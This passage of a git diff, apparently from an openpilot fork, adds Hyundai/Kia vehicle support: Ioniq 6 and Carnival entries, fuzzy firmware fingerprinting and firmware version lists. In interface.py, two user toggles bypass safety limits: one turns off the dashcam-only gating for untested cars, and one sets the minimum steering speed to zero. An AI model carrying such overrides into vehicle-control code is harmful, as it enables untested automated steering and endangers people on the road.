create_acc_cancel(packer, CAN, cruise_info_copy): - values = cruise_info_copy +def create_acc_cancel(packer, CP, CAN, cruise_info_copy): + # TODO: why do we copy different values here? + if CP.flags & HyundaiFlags.CANFD_CAMERA_SCC.value: + values = {s: cruise_info_copy[s] for s in [ + "COUNTER", + "CHECKSUM", + "NEW_SIGNAL_1", + "MainMode_ACC", + "ACCMode", + "ZEROS_9", + "CRUISE_STANDSTILL", + "ZEROS_5", + "DISTANCE_SETTING", + "VSetDis", + ]} + else: + values = {s: cruise_info_copy[s] for s in [ + "COUNTER", + "CHECKSUM", + "ACCMode", + "VSetDis", + "CRUISE_STANDSTILL", + ]} values.update({ "ACCMode": 4, + "aReqRaw": 0.0, + "aReqValue": 0.0, }) return packer.make_can_msg("SCC_CONTROL", CAN.ECAN, values) diff --git a/selfdrive/car/hyundai/interface.py b/selfdrive/car/hyundai/interface.py index 59d7319de..3efd1d3bb 100644 --- a/selfdrive/car/hyundai/interface.py +++ b/selfdrive/car/hyundai/interface.py @@ -8,6 +8,7 @@ from selfdrive.car.hyundai.radar_interface import RADAR_START_ADDR from selfdrive.car import STD_CARGO_KG, create_button_event, scale_tire_stiffness, get_safety_config from selfdrive.car.interfaces import CarInterfaceBase from selfdrive.car.disable_ecu import disable_ecu +from common.params import Params Ecu = car.CarParams.Ecu ButtonType = car.CarState.ButtonEvent.Type @@ -22,11 +23,13 @@ class CarInterface(CarInterfaceBase): def _get_params(ret, candidate, fingerprint, car_fw, experimental_long, docs): ret.carName = "hyundai" ret.radarUnavailable = RADAR_START_ADDR not in fingerprint[1] or DBC[ret.carFingerprint]["radar"] is None + params = Params() # These cars have been put into dashcam only due to both a lack of users and test coverage. # These cars likely still work fine. Once a user confirms each car works and a test route is # added to selfdrive/car/tests/routes.py, we can remove it from this list. - ret.dashcamOnly = candidate in {CAR.KIA_OPTIMA_H, } + ret.dashcamOnly = candidate in {CAR.KIA_OPTIMA_H, CAR.IONIQ_6} + ret.dashcamOnly = False if ret.dashcamOnly and params.get_bool("dp_car_dashcam_mode_removal") else ret.dashcamOnly hda2 = Ecu.adas in [fw.ecu for fw in car_fw] CAN = CanBus(None, hda2, fingerprint) @@ -186,10 +189,10 @@ class CarInterface(CarInterfaceBase): ret.wheelbase = 2.9 ret.steerRatio = 16. tire_stiffness_factor = 0.65 - elif candidate == CAR.IONIQ_5: - ret.mass = 2012 + STD_CARGO_KG - ret.wheelbase = 3.0 - ret.steerRatio = 16. + elif candidate in (CAR.IONIQ_5, CAR.IONIQ_6): + ret.mass = 1948 + STD_CARGO_KG + ret.wheelbase = 2.97 + ret.steerRatio = 14.26 tire_stiffness_factor = 0.65 elif candidate == CAR.KIA_SPORTAGE_HYBRID_5TH_GEN: ret.mass = 1767. + STD_CARGO_KG # SX Prestige trim support only @@ -202,6 +205,10 @@ class CarInterface(CarInterfaceBase): ret.mass = 3957 * CV.LB_TO_KG + STD_CARGO_KG else: ret.mass = 4537 * CV.LB_TO_KG + STD_CARGO_KG + elif candidate == CAR.KIA_CARNIVAL_4TH_GEN: + ret.mass = 2087. + STD_CARGO_KG + ret.wheelbase = 3.09 + ret.steerRatio = 14.23 # Genesis elif candidate == CAR.GENESIS_GV60_EV_1ST_GEN: @@ -299,6 +306,11 @@ class CarInterface(CarInterfaceBase): # mass and CG position, so all cars will have approximately similar dyn behaviors ret.tireStiffnessFront, ret.tireStiffnessRear = scale_tire_stiffness(ret.mass, ret.wheelbase, ret.centerToFront, tire_stiffness_factor=tire_stiffness_factor) + + # mdps, smart mdps + if 0x2AA in fingerprint[0] or params.get_bool('dp_hkg_min_steer_speed_bypass'): + ret.minSteerSpeed = 0. + return ret @staticmethod @@ -311,7 +323,7 @@ class CarInterface(CarInterfaceBase): # for blinkers if CP.flags & HyundaiFlags.ENABLE_BLINKERS: - disable_ecu(logcan, sendcan, bus=CanBus(CP.ECAN), addr=0x7B1, com_cont_req=b'\x28\x83\x01') + disable_ecu(logcan, sendcan, bus=CanBus(CP).ECAN, addr=0x7B1, com_cont_req=b'\x28\x83\x01') def _update(self, c): ret = self.CS.update(self.cp, self.cp_cam) diff --git a/selfdrive/car/hyundai/values.py b/selfdrive/car/hyundai/values.py index b6e97a38a..607c37f2f 100644 --- a/selfdrive/car/hyundai/values.py +++ b/selfdrive/car/hyundai/values.py @@ -1,6 +1,7 @@ +import re from dataclasses import dataclass from enum import Enum, IntFlag -from typing import Dict, List, Optional, Union +from typing import Dict, List, Optional, Set, Tuple, Union from cereal import car from panda.python import uds @@ -91,6 +92,7 @@ class CAR: VELOSTER = "HYUNDAI VELOSTER 2019" SONATA_HYBRID = "HYUNDAI SONATA HYBRID 2021" IONIQ_5 = "HYUNDAI IONIQ 5 2022" + IONIQ_6 = "HYUNDAI IONIQ 6 2023" TUCSON_4TH_GEN = "HYUNDAI TUCSON 4TH GEN" TUCSON_HYBRID_4TH_GEN = "HYUNDAI TUCSON HYBRID 4TH GEN" SANTA_CRUZ_1ST_GEN = "HYUNDAI SANTA CRUZ 1ST GEN" @@ -117,6 +119,7 @@ class CAR: KIA_STINGER_2022 = "KIA STINGER 2022" KIA_CEED = "KIA CEED INTRO ED 2019" KIA_EV6 = "KIA EV6 2022" + KIA_CARNIVAL_4TH_GEN = "KIA CARNIVAL 4TH GEN" # Genesis GENESIS_GV60_EV_1ST_GEN = "GENESIS GV60 ELECTRIC 1ST GEN" @@ -168,7 +171,7 @@ CAR_INFO: Dict[str, Optional[Union[HyundaiCarInfo, List[HyundaiCarInfo]]]] = { CAR.KONA_EV_2022: HyundaiCarInfo("Hyundai Kona Electric 2022", car_parts=CarParts.common([CarHarness.hyundai_o])), CAR.KONA_HEV: HyundaiCarInfo("Hyundai Kona Hybrid 2020", video_link="https://youtu.be/0dwpAHiZgFo", car_parts=CarParts.common([CarHarness.hyundai_i])), # TODO: check packages CAR.SANTA_FE: HyundaiCarInfo("Hyundai Santa Fe 2019-20", "All", car_parts=CarParts.common([CarHarness.hyundai_d])), - CAR.SANTA_FE_2022: HyundaiCarInfo("Hyundai Santa Fe 2021-22", "All", video_link="https://youtu.be/VnHzSTygTS4", car_parts=CarParts.common([CarHarness.hyundai_l])), + CAR.SANTA_FE_2022: HyundaiCarInfo("Hyundai Santa Fe 2021-23", "All", video_link="https://youtu.be/VnHzSTygTS4", car_parts=CarParts.common([CarHarness.hyundai_l])), CAR.SANTA_FE_HEV_2022: HyundaiCarInfo("Hyundai Santa Fe Hybrid 2022-23", "All", car_parts=CarParts.common([CarHarness.hyundai_l])), CAR.SANTA_FE_PHEV_2022: HyundaiCarInfo("Hyundai Santa Fe Plug-in Hybrid 2022", "All", car_parts=CarParts.common([CarHarness.hyundai_l])), CAR.SONATA: HyundaiCarInfo("Hyundai Sonata 2020-23", "All", video_link="https://www.youtube.com/watch?v=ix63r9kE3Fw", car_parts=CarParts.common([CarHarness.hyundai_a])), @@ -182,12 +185,16 @@ CAR_INFO: Dict[str, Optional[Union[HyundaiCarInfo, List[HyundaiCarInfo]]]] = { HyundaiCarInfo("Kia Telluride 2020-22", "All", car_parts=CarParts.common([CarHarness.hyundai_h])), ], CAR.VELOSTER: HyundaiCarInfo("Hyundai Veloster 2019-20", min_enable_speed=5. * CV.MPH_TO_MS, car_parts=CarParts.common([CarHarness.hyundai_e])), - CAR.SONATA_HYBRID: HyundaiCarInfo("Hyundai Sonata Hybrid 2020-22", "All", car_parts=CarParts.common([CarHarness.hyundai_a])), + CAR.SONATA_HYBRID: HyundaiCarInfo("Hyundai Sonata Hybrid 2020-23", "All", car_parts=CarParts.common([CarHarness.hyundai_a])), CAR.IONIQ_5: [ HyundaiCarInfo("Hyundai Ioniq 5 (Southeast Asia only) 2022-23", "All", car_parts=CarParts.common([CarHarness.hyundai_q])), HyundaiCarInfo("Hyundai Ioniq 5 (without HDA II) 2022-23", "Highway Driving Assist", car_parts=CarParts.common([CarHarness.hyundai_k])), HyundaiCarInfo("Hyundai Ioniq 5 (with HDA II) 2022-23", "Highway Driving Assist II", car_parts=CarParts.common([CarHarness.hyundai_q])), ], + CAR.IONIQ_6: [ + HyundaiCarInfo("Hyundai Ioniq 6 (without HDA II) 2023", "Highway Driving Assist", car_parts=CarParts.common([CarHarness.hyundai_k])), # TODO: unknown + HyundaiCarInfo("Hyundai Ioniq 6 (with HDA II) 2023", "Highway Driving Assist II", car_parts=CarParts.common([CarHarness.hyundai_p])), + ], CAR.TUCSON_4TH_GEN: [ HyundaiCarInfo("Hyundai Tucson 2022", car_parts=CarParts.common([CarHarness.hyundai_n])), HyundaiCarInfo("Hyundai Tucson 2023", "All", car_parts=CarParts.common([CarHarness.hyundai_n])), @@ -240,6 +247,10 @@ CAR_INFO: Dict[str, Optional[Union[HyundaiCarInfo, List[HyundaiCarInfo]]]] = { HyundaiCarInfo("Kia EV6 (without HDA II) 2022-23", "Highway Driving Assist", car_parts=CarParts.common([CarHarness.hyundai_l])), HyundaiCarInfo("Kia EV6 (with HDA II) 2022-23", "Highway Driving Assist II", car_parts=CarParts.common([CarHarness.hyundai_p])) ], + CAR.KIA_CARNIVAL_4TH_GEN: [ + HyundaiCarInfo("Kia Carnival 2023", car_parts=CarParts.common([CarHarness.hyundai_a])), + HyundaiCarInfo("Kia Carnival (China only) 2023", car_parts=CarParts.common([CarHarness.hyundai_k])) + ], # Genesis CAR.GENESIS_GV60_EV_1ST_GEN: [ @@ -342,6 +353,76 @@ FINGERPRINTS = { }], } + +def get_platform_codes(fw_versions: List[bytes]) -> Set[Tuple[bytes, Optional[bytes]]]: + # Returns unique, platform-specific identification codes for a set of versions + codes = set() # (code-Optional[part], date) + for fw in fw_versions: + code_match = PLATFORM_CODE_FW_PATTERN.search(fw) + part_match = PART_NUMBER_FW_PATTERN.search(fw) + date_match = DATE_FW_PATTERN.search(fw) + if code_match is not None: + code: bytes = code_match.group() + part = part_match.group() if part_match else None + date = date_match.group() if date_match else None + if part is not None: + # part number starts with generic ECU part type, add what is specific to platform + code += b"-" + part[-5:] + + codes.add((code, date)) + return codes + + +def match_fw_to_car_fuzzy(live_fw_versions) -> Set[str]: + # Non-electric CAN FD platforms often do not have platform code specifiers needed + # to distinguish between hybrid and ICE. All EVs so far are either exclusively + # electric or specify electric in the platform code. + fuzzy_platform_blacklist = set(CANFD_CAR - EV_CAR) + candidates = set() + + for candidate, fws in FW_VERSIONS.items(): + # Keep track of ECUs which pass all checks (platform codes, within date range) + valid_found_ecus = set() + valid_expected_ecus = {ecu[1:] for ecu in fws if ecu[0] in PLATFORM_CODE_ECUS} + for ecu, expected_versions in fws.items(): + addr = ecu[1:] + # Only check ECUs expected to have platform codes + if ecu[0] not in PLATFORM_CODE_ECUS: + continue + + # Expected platform codes & dates + codes = get_platform_codes(expected_versions) + expected_platform_codes = {code for code, _ in codes} + expected_dates = {date for _, date in codes if date is not None} + + # Found platform codes & dates + codes = get_platform_codes(live_fw_versions.get(addr, set())) + found_platform_codes = {code for code, _ in codes} + found_dates = {date for _, date in codes if date is not None} + + # Check platform code + part number matches for any found versions + if not any(found_platform_code in expected_platform_codes for found_platform_code in found_platform_codes): + break + + if ecu[0] in DATE_FW_ECUS: + # If ECU can have a FW date, require it to exist + # (this excludes candidates in the database without dates) + if not len(expected_dates) or not len(found_dates): + break + + # Check any date within range in the database, format is %y%m%d + if not any(min(expected_dates) <= found_date <= max(expected_dates) for found_date in found_dates): + break + + valid_found_ecus.add(addr) + + # If all live ECUs pass all checks for candidate, add it as a match + if valid_expected_ecus.issubset(valid_found_ecus): + candidates.add(candidate) + + return candidates - fuzzy_platform_blacklist + + HYUNDAI_VERSION_REQUEST_LONG = bytes([uds.SERVICE_TYPE.READ_DATA_BY_IDENTIFIER]) + \ p16(0xf100) # Long description @@ -355,6 +436,18 @@ HYUNDAI_VERSION_REQUEST_MULTI = bytes([uds.SERVICE_TYPE.READ_DATA_BY_IDENTIFIER] HYUNDAI_VERSION_RESPONSE = bytes([uds.SERVICE_TYPE.READ_DATA_BY_IDENTIFIER + 0x40]) +# Regex patterns for parsing platform code, FW date, and part number from FW versions +PLATFORM_CODE_FW_PATTERN = re.compile(b'((?<=' + HYUNDAI_VERSION_REQUEST_LONG[1:] + + b')[A-Z]{2}[A-Za-z0-9]{0,2})') +DATE_FW_PATTERN = re.compile(b'(?<=[ -])([0-9]{6}$)') +PART_NUMBER_FW_PATTERN = re.compile(b'(?<=[0-9][.,][0-9]{2} )([0-9]{5}[-/]?[A-Z][A-Z0-9]{3}[0-9])') + +# List of ECUs expected to have platform codes, camera and radar should exist on all cars +# TODO: use abs, it has the platform code and part number on many platforms +PLATFORM_CODE_ECUS = [Ecu.fwdRadar, Ecu.fwdCamera, Ecu.eps] +# So far we've only seen dates in fwdCamera +DATE_FW_ECUS = [Ecu.fwdCamera] + FW_QUERY_CONFIG = FwQueryConfig( requests=[ # TODO: minimize shared whitelists for CAN and cornerRadar for CAN-FD @@ -411,6 +504,8 @@ FW_QUERY_CONFIG = FwQueryConfig( (Ecu.hvac, 0x7b3, None), # HVAC Control Assembly (Ecu.cornerRadar, 0x7b7, None), ], + # Custom fuzzy fingerprinting function using platform codes, part numbers + FW dates: + match_fw_to_car_fuzzy=match_fw_to_car_fuzzy, ) FW_VERSIONS = { @@ -547,6 +642,7 @@ FW_VERSIONS = { b'\xf1\x00DN8_ SCC F-CUP 1.00 1.02 99110-L1000 ', b'\xf1\x00DN8_ SCC FHCUP 1.00 1.00 99110-L0000 ', b'\xf1\x00DN8_ SCC FHCUP 1.00 1.01 99110-L1000 ', + b'\xf1\x00DN8_ SCC FHCUP 1.00 1.02 99110-L1000 ', ], (Ecu.abs, 0x7d1, None): [ b'\xf1\x00DN ESC \x07 106 \x07\x01 58910-L0100', @@ -561,6 +657,7 @@ FW_VERSIONS = { b'\xf1\x8758910-L0100\xf1\x00DN ESC \x06 106 \x07\x01 58910-L0100', b'\xf1\x8758910-L0100\xf1\x00DN ESC \x07 104\x19\x08\x01 58910-L0100', b'\xf1\x00DN ESC \x06 106 \x07\x01 58910-L0100', + b'\xf1\x00DN ESC \x06 107 \x07\x03 58910-L1300', ], (Ecu.engine, 0x7e0, None): [ b'\xf1\x81HM6M1_0a0_F00', @@ -575,6 +672,7 @@ FW_VERSIONS = { b'\xf1\x87391162M003', b'\xf1\x87391162M013', b'\xf1\x87391162M023', + b'\xf1\x87391162M010', b'HM6M1_0a0_F00', b'HM6M1_0a0_G20', b'HM6M2_0a0_BD0', @@ -587,11 +685,9 @@ FW_VERSIONS = { b'\xf1\x00DN8 MDPS C 1,00 1,01 56310L0010\x00 4DNAC101', # modified firmware b'\xf1\x00DN8 MDPS C 1.00 1.01 56310L0210\x00 4DNAC102', b'\xf1\x8756310L0010\x00\xf1\x00DN8 MDPS C 1,00 1,01 56310L0010\x00 4DNAC101', # modified firmware - b'\xf1\x00DN8 MDPS C 1.00 1.01 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 4DNAC101', b'\xf1\x00DN8 MDPS C 1.00 1.01 56310-L0010 4DNAC101', b'\xf1\x00DN8 MDPS C 1.00 1.01 56310L0010\x00 4DNAC101', b'\xf1\x00DN8 MDPS R 1.00 1.00 57700-L0000 4DNAP100', - b'\xf1\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf1\x00DN8 MDPS C 1.00 1.01 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 4DNAC101', b'\xf1\x8756310-L0010\xf1\x00DN8 MDPS C 1.00 1.01 56310-L0010 4DNAC101', b'\xf1\x8756310-L0210\xf1\x00DN8 MDPS C 1.00 1.01 56310-L0210 4DNAC101', b'\xf1\x8756310-L1010\xf1\x00DN8 MDPS C 1.00 1.03 56310-L1010 4DNDC103', @@ -600,11 +696,13 @@ FW_VERSIONS = { b'\xf1\x8756310L0210\x00\xf1\x00DN8 MDPS C 1.00 1.01 56310L0210\x00 4DNAC101', b'\xf1\x8757700-L0000\xf1\x00DN8 MDPS R 1.00 1.00 57700-L0000 4DNAP100', b'\xf1\x00DN8 MDPS R 1.00 1.00 57700-L0000 4DNAP101', + b'\xf1\x00DN8 MDPS R 1.00 1.02 57700-L1000 4DNDP105', b'\xf1\x00DN8 MDPS C 1.00 1.01 56310-L0210 4DNAC102', b'\xf1\x00DN8 MDPS C 1.00 1.01 56310L0200\x00 4DNAC102', ], (Ecu.fwdCamera, 0x7c4, None): [ b'\xf1\x00DN8 MFC AT KOR LHD 1.00 1.02 99211-L1000 190422', + b'\xf1\x00DN8 MFC AT KOR LHD 1.00 1.04 99211-L1000 191016', b'\xf1\x00DN8 MFC AT RUS LHD 1.00 1.03 99211-L1000 190705', b'\xf1\x00DN8 MFC AT USA LHD 1.00 1.00 99211-L0000 190716', b'\xf1\x00DN8 MFC AT USA LHD 1.00 1.01 99211-L0000 191016', @@ -617,6 +715,7 @@ FW_VERSIONS = { b'\xf1\x00bcsh8p54 U903\x00\x00\x00\x00\x00\x00SDN8T16NB0z{\xd4v', b'\xf1\x00bcsh8p54 U913\x00\x00\x00\x00\x00\x00SDN8T16NB1\xe3\xc10\xa1', b'\xf1\x00bcsh8p54 U913\x00\x00\x00\x00\x00\x00SDN8T16NB2\n\xdd^\xbc', + b'\xf1\x00bcsh8p54 U903\x00\x00\x00\x00\x00\x00SDN8T16KB05\x95h%', b'\xf1\x00HT6TA260BLHT6TA800A1TDN8C20KS4\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', b'\xf1\x00HT6TA260BLHT6TA810A1TDN8M25GS0\x00\x00\x00\x00\x00\x00\xaa\x8c\xd9p', b'\xf1\x00HT6WA250BLHT6WA910A1SDN8G25NB1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00', @@ -752,7 +851,7 @@ FW_VERSIONS = { b'\xf1\x00TM MDPS C 1.00 1.00 56340-S2000 8409', b'\xf1\x00TM MDPS C 1.00 1.00 56340-S2000 8A12', b'\xf1\x00TM MDPS C 1.00 1.01 56340-S2000 9129', - b'\xf1\x00TM MDPS R 1.00 1.02 57700-S1100 4TMDP102' + b'\xf1\x00TM MDPS R 1.00 1.02 57700-S1100 4TMDP102', ], (Ecu.fwdCamera, 0x7c4, None): [ b'\xf1\x00TM MFC AT EUR LHD 1.00 1.01 99211-S1010 181207', @@ -802,6 +901,7 @@ FW_VERSIONS = { b'\xf1\x8758910-S2GA0\xf1\x00TM ESC \x04 102!\x04\x05 58910-S2GA0', b'\xf1\x00TM ESC \x04 102!\x04\x05 58910-S2GA0', b'\xf1\x00TM ESC \x04 101 \x08\x04 58910-S2GA0', + b'\xf1\x00TM ESC \x02 103"\x07\x08 58910-S2GA0', ], (Ecu.engine, 0x7e0, None): [ b'\xf1\x870\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf1\x81HM6M1_0a0_L50', @@ -814,6 +914,7 @@ FW_VERSIONS = { b'\xf1\x870\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf1\x82TMDWN5TMD3TXXJ1A', b'\xf1\x81HM6M2_0a0_G00', b'\xf1\x870\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf1\x81HM6M1_0a0_J10', + b'\xf1\x8739101-2STN8\xf1\x81HM6M1_0a0_M00', ], (Ecu.eps, 0x7d4, None): [ b'\xf1\x00TM MDPS C 1.00 1.02 56370-S2AA0 0B19', @@ -824,6 +925,7 @@ FW_VERSIONS = { b'\xf1\x00TMA MFC AT USA LHD 1.00 1.00 99211-S2500 200720', b'\xf1\x00TM MFC AT EUR LHD 1.00 1.03 99211-S1500 210224', b'\xf1\x00TMA MFC AT USA LHD 1.00 1.01 99211-S2500 210205', + b'\xf1\x00TMA MFC AT USA LHD 1.00 1.03 99211-S2500 220414', ], (Ecu.transmission, 0x7e1, None): [ b'\xf1\x00HT6WA280BLHT6WAD00A1STM2G25NH2\x00\x00\x00\x00\x00\x00\xf8\xc0\xc3\xaa', @@ -839,6 +941,7 @@ FW_VERSIONS = { b'\xf1\x00T02601BL T02900A1 VTMPT25XXX900NS8\xb7\xaa\xfe\xfc', b'\xf1\x87954A02N250\x00\x00\x00\x00\x00\xf1\x81T02900A1 \xf1\x00T02601BL T02900A1 VTMPT25XXX900NS8\xb7\xaa\xfe\xfc', b'\xf1\x00T02601BL T02800A1 VTMPT25XXX800NS4\xed\xaf\xed\xf5', + b'\xf1\x00T02601BL T02900A1 VTMPT25XXW900NS1c\x918\xc5', ], }, CAR.SANTA_FE_HEV_2022: { @@ -847,12 +950,14 @@ FW_VERSIONS = { ], (Ecu.eps, 0x7d4, None): [ b'\xf1\x00TM MDPS C 1.00 1.02 56310-CLAC0 4TSHC102', + b'\xf1\x00TM MDPS C 1.00 1.02 56310-CLEC0 4TSHC102', b'\xf1\x00TM MDPS R 1.00 1.05 57700-CL000 4TSHP105', b'\xf1\x00TM MDPS C 1.00 1.02 56310-GA000 4TSHA100', ], (Ecu.fwdCamera, 0x7c4, None): [ b'\xf1\x00TMH MFC AT EUR LHD 1.00 1.06 99211-S1500 220727', b'\xf1\x00TMH MFC AT USA LHD 1.00 1.03 99211-S1500 210224', + b'\xf1\x00TMH MFC AT USA LHD 1.00 1.06 99211-S1500 220727', b'\xf1\x00TMA MFC AT USA LHD 1.00 1.03 99211-S2500 220414', ], (Ecu.transmission, 0x7e1, None): [ @@ -1491,10 +1596,8 @@ FW_VERSIONS = { b'\xf1\x8799110AA000\xf1\x00CN7_ SCC F-CUP 1.00 1.01 99110-AA000 ', ], (Ecu.eps, 0x7d4, None): [ - b'\xf1\x87\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf1\x00CN7 MDPS C 1.00 1.06 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 4CNDC106', - b'\xf1\x8756310/AA070\xf1\x00CN7 MDPS C 1.00 1.06 56310/AA070 4CNDC106', - b'\xf1\x8756310AA050\x00\xf1\x00CN7 MDPS C 1.00 1.06 56310AA050\x00 4CNDC106\xf1\xa01.06', b'\xf1\x00CN7 MDPS C 1.00 1.06 56310AA050\x00 4CNDC106', + b'\xf1\x00CN7 MDPS C 1.00 1.06 56310/AA070 4CNDC106', ], (Ecu.fwdCamera, 0x7c4, None): [ b'\xf1\x00CN7 MFC AT USA LHD 1.00 1.00 99210-AB000 200819', @@ -1579,8 +1682,8 @@ FW_VERSIONS = { }, CAR.SONATA_HYBRID: { (Ecu.fwdRadar, 0x7d0, None): [ - b'\xf1\000DNhe SCC FHCUP 1.00 1.02 99110-L5000 ', - b'\xf1\x8799110L5000\xf1\000DNhe SCC FHCUP 1.00 1.02 99110-L5000 ', + b'\xf1\x00DNhe SCC FHCUP 1.00 1.02 99110-L5000 ', + b'\xf1\x8799110L5000\xf1\x00DNhe SCC FHCUP 1.00 1.02 99110-L5000 ', b'\xf1\000DNhe SCC F-CUP 1.00 1.02 99110-L5000 ', b'\xf1\x8799110L5000\xf1\000DNhe SCC F-CUP 1.00 1.02 99110-L5000 ', ], @@ -1588,23 +1691,27 @@ FW_VERSIONS = { b'\xf1\x8756310-L5500\xf1\x00DN8 MDPS C 1.00 1.02 56310-L5500 4DNHC102', b'\xf1\x8756310-L5450\xf1\x00DN8 MDPS C 1.00 1.02 56310-L5450 4DNHC102', b'\xf1\x8756310-L5450\xf1\000DN8 MDPS C 1.00 1.03 56310-L5450 4DNHC103', + b'\xf1\x00DN8 MDPS C 1.00 1.03 56310L5450\x00 4DNHC104', + b'\xf1\x8756310L5450\x00\xf1\x00DN8 MDPS C 1.00 1.03 56310L5450\x00 4DNHC104', ], (Ecu.fwdCamera, 0x7c4, None): [ b'\xf1\x00DN8HMFC AT USA LHD 1.00 1.04 99211-L1000 191016', b'\xf1\x00DN8HMFC AT USA LHD 1.00 1.05 99211-L1000 201109', b'\xf1\000DN8HMFC AT USA LHD 1.00 1.06 99211-L1000 210325', + b'\xf1\x00DN8HMFC AT USA LHD 1.00 1.07 99211-L1000 211223', ], (Ecu.transmission, 0x7e1, None): [ b'\xf1\000PSBG2333 E14\x00\x00\x00\x00\x00\x00\x00TDN2H20SA6N\xc2\xeeW', b'\xf1\x87959102T250\x00\x00\x00\x00\x00\xf1\x81E09\x00\x00\x00\x00\x00\x00\x00\xf1\x00PSBG2323 E09\x00\x00\x00\x00\x00\x00\x00TDN2H20SA5\x97R\x88\x9e', b'\xf1\000PSBG2323 E09\000\000\000\000\000\000\000TDN2H20SA5\x97R\x88\x9e', - b'\xf1\000PSBG2333 E16\000\000\000\000\000\000\000TDN2H20SA7\0323\xf9\xab', - b'\xf1\x87PCU\000\000\000\000\000\000\000\000\000\xf1\x81E16\000\000\000\000\000\000\000\xf1\000PSBG2333 E16\000\000\000\000\000\000\000TDN2H20SA7\0323\xf9\xab', + b'\xf1\x00PSBG2333 E16\x00\x00\x00\x00\x00\x00\x00TDN2H20SA7\x1a3\xf9\xab', + b'\xf1\x87PCU\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf1\x81E16\x00\x00\x00\x00\x00\x00\x00\xf1\x00PSBG2333 E16\x00\x00\x00\x00\x00\x00\x00TDN2H20SA7\x1a3\xf9\xab', b'\xf1\x87959102T250\x00\x00\x00\x00\x00\xf1\x81E14\x00\x00\x00\x00\x00\x00\x00\xf1\x00PSBG2333 E14\x00\x00\x00\x00\x00\x00\x00TDN2H20SA6N\xc2\xeeW', ], (Ecu.engine, 0x7e0, None): [ b'\xf1\x87391162J012', b'\xf1\x87391162J013', + b'\xf1\x87391162J014', b'\xf1\x87391062J002', ], }, @@ -1664,11 +1771,18 @@ FW_VERSIONS = { b'\xf1\x00NE1 MFC AT USA LHD 1.00 1.03 99211-GI010 220401', ], }, + CAR.IONIQ_6: { + (Ecu.fwdRadar, 0x7d0, None): [ + b'\xf1\x00CE__ RDR ----- 1.00 1.01 99110-KL000 ', + ], + (Ecu.fwdCamera, 0x7c4, None): [ + b'\xf1\x00CE MFC AT USA LHD 1.00 1.04 99211-KL000 221213', + ], + }, CAR.TUCSON_4TH_GEN: { (Ecu.fwdCamera, 0x7c4, None): [ b'\xf1\x00NX4 FR_CMR AT USA LHD 1.00 1.00 99211-N9210 14G', b'\xf1\x00NX4 FR_CMR AT USA LHD 1.00 1.01 99211-N9240 14T', - b'\xf1\x00NX4 FR_CMR AT USA LHD 1.00 1.00 99211-CW010 14X', ], (Ecu.fwdRadar, 0x7d0, None): [ b'\xf1\x00NX4__ 1.00 1.00 99110-N9100 ', @@ -1766,6 +1880,16 @@ FW_VERSIONS = { b'\xf1\x00JX1_ SCC FHCUP 1.00 1.01 99110-T6100 ', ], }, + CAR.KIA_CARNIVAL_4TH_GEN: { + (Ecu.fwdCamera, 0x7c4, None): [ + b'\xf1\x00KA4 MFC AT USA LHD 1.00 1.06 99210-R0000 220221', + b'\xf1\x00KA4CMFC AT CHN LHD 1.00 1.01 99211-I4000 210525', + ], + (Ecu.fwdRadar, 0x7d0, None): [ + b'\xf1\x00KA4_ SCC FHCUP 1.00 1.03 99110-R0000 ', + b'\xf1\x00KA4c SCC FHCUP 1.00 1.01 99110-I4000 ', + ], + }, } CHECKSUM = { @@ -1780,16 +1904,16 @@ CAN_GEARS = { "use_elect_gears": {CAR.KIA_NIRO_EV, CAR.KIA_NIRO_PHEV, CAR.KIA_NIRO_HEV_2021, CAR.KIA_OPTIMA_H, CAR.IONIQ_EV_LTD, CAR.KONA_EV, CAR.IONIQ, CAR.IONIQ_EV_2020, CAR.IONIQ_PHEV, CAR.ELANTRA_HEV_2021, CAR.SONATA_HYBRID, CAR.KONA_HEV, CAR.IONIQ_HEV_2022, CAR.SANTA_FE_HEV_2022, CAR.SANTA_FE_PHEV_2022, CAR.IONIQ_PHEV_2019, CAR.KONA_EV_2022, CAR.KIA_K5_HEV_2020}, } -CANFD_CAR = {CAR.KIA_EV6, CAR.IONIQ_5, CAR.TUCSON_4TH_GEN, CAR.TUCSON_HYBRID_4TH_GEN, CAR.KIA_SPORTAGE_HYBRID_5TH_GEN, CAR.SANTA_CRUZ_1ST_GEN, CAR.KIA_SPORTAGE_5TH_GEN, CAR.GENESIS_GV70_1ST_GEN, CAR.KIA_SORENTO_PHEV_4TH_GEN, CAR.GENESIS_GV60_EV_1ST_GEN, CAR.KIA_SORENTO_4TH_GEN, CAR.KIA_NIRO_HEV_2ND_GEN, CAR.KIA_NIRO_EV_2ND_GEN, CAR.GENESIS_GV80} +CANFD_CAR = {CAR.KIA_EV6, CAR.IONIQ_5, CAR.IONIQ_6, CAR.TUCSON_4TH_GEN, CAR.TUCSON_HYBRID_4TH_GEN, CAR.KIA_SPORTAGE_HYBRID_5TH_GEN, CAR.SANTA_CRUZ_1ST_GEN, CAR.KIA_SPORTAGE_5TH_GEN, CAR.GENESIS_GV70_1ST_GEN, CAR.KIA_SORENTO_PHEV_4TH_GEN, CAR.GENESIS_GV60_EV_1ST_GEN, CAR.KIA_SORENTO_4TH_GEN, CAR.KIA_NIRO_HEV_2ND_GEN, CAR.KIA_NIRO_EV_2ND_GEN, CAR.GENESIS_GV80, CAR.KIA_CARNIVAL_4TH_GEN} # The radar does SCC on these cars when HDA I, rather than the camera -CANFD_RADAR_SCC_CAR = {CAR.GENESIS_GV70_1ST_GEN, CAR.KIA_SORENTO_PHEV_4TH_GEN, CAR.KIA_SORENTO_4TH_GEN, CAR.GENESIS_GV80} +CANFD_RADAR_SCC_CAR = {CAR.GENESIS_GV70_1ST_GEN, CAR.KIA_SORENTO_PHEV_4TH_GEN, CAR.KIA_SORENTO_4TH_GEN, CAR.GENESIS_GV80, CAR.KIA_CARNIVAL_4TH_GEN} # The camera does SCC on these cars, rather than the radar CAMERA_SCC_CAR = {CAR.KONA_EV_2022, } HYBRID_CAR = {CAR.IONIQ_PHEV, CAR.ELANTRA_HEV_2021, 